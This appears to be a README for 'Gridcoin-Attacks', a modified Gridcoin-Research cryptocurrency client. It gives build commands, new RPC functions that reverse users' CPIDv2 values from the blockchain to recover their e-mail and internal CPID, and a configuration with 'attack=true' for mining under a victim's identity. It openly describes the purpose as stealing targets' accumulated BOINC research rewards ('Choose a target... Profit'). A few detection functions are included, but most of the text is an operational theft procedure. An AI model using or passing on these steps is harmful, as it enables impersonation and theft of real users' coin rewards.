Gridcoin-Attacks is an enhanced Gridcoin-Research client based on version 3.5.6.8 of the original Gridcoin-Research client.
Note: Due to the high amount of updates Gridcoin-Research get's, it is not guaranteed, that the version still works.
It contains various additional RPC functions and allows the user to reverse CPIDsv2 taken from the Blockchain. After a successfull reversion it is possible to steal the targets BOINC Credits to gain a illigetimately high Coin Reward without any BOINC contribution.
Ensure that all dependencies are satisfied. Ubuntu: $ apt-get install ntp git build-essential libssl-dev libdb-dev libdb++-dev libboost-all-dev libqrencode-dev libcurl3-dev libzip-dev Arch: $ pacman -Sy base-devel boost openssl libzip qrencode db curl Change into src directory and build. Set number of jobs accordingly. **WARNING!** uses lots of RAM for compilation. $ cd src $ make -f makefile.unix -j4 USE_UPNP=- Install the binary. $ make install -m 755 gridcoinresearchd /usr/bin/gridcoinresearchd Create configuration directory. $ mkdir ~/.GridcoinResearch $ cd ~/.GridcoinResearch Create configuration file. $ nano gridcoinresearch.conf email= cpumining= rpcallowip=127.0.0.1 rpcuser=grid rpcpassword=coin addnode=node.gridcoin.us Optional: Retrieve a snapshot of the Gridcoin Blockchain (saves time!) $ wget http://download.gridcoin.us/download/downloadstake/signed/snapshot.zip && unzip snapshot.zip && rm snapshot.zip Execute the installed binary. $ gridcoinresearchd Ensure that the client connects to other clients to retrieve missing Blocks $ gridcoinresearchd getinfo If anything goes wrong, it might be helpful to check the debug log under ~/.GridcoinResearch/debug.log 1. Choose a target 2. Reverse one of the targets CPIDsv2 3. Enter the targets credentials to steal Coin Reward 4. Profit To enable attacking and attack detection, the following RPC functions were added.
+ reversecpidv2 <number> Reverses CPIDv2 for a given blockhight + bulkreversecpidv2 Attempts to reverse all CPIDv2s found in the blockchain + findpluralcpids Attempts to find eCPIDs used with multiple GRC addresses + findpluraladdresses Attempts to find GRC addresses used with multiple eCPIDs Once the target eCPID has been chosen get the corresponding e-mail address and iCPID by executing $gridcoinresearchd reversecpidv2 Where number has to be the blockheight of a Block, mined with the targets eCPID.
To mine with the targets eCPID add the obtained e-mail address, iCPID and BOINC projectname to the local gridcoinresearch.conf. In addition set the parameters attack and cpumining to enable mining and the attack mode of the client.
rpcallowip=127.0.0.1 rpcuser=grid rpcpassword=coin addnode=node.gridcoin.us cpumining=true email=<e-mail> icpid=<iCPID> project=<projectname> attack=true All created Blocks should now contain the targets eCPID and a valid CPIDv2. This means in effect, that the targets accumulated Research Age is utilized to illegitimately increase our Coin Reward.
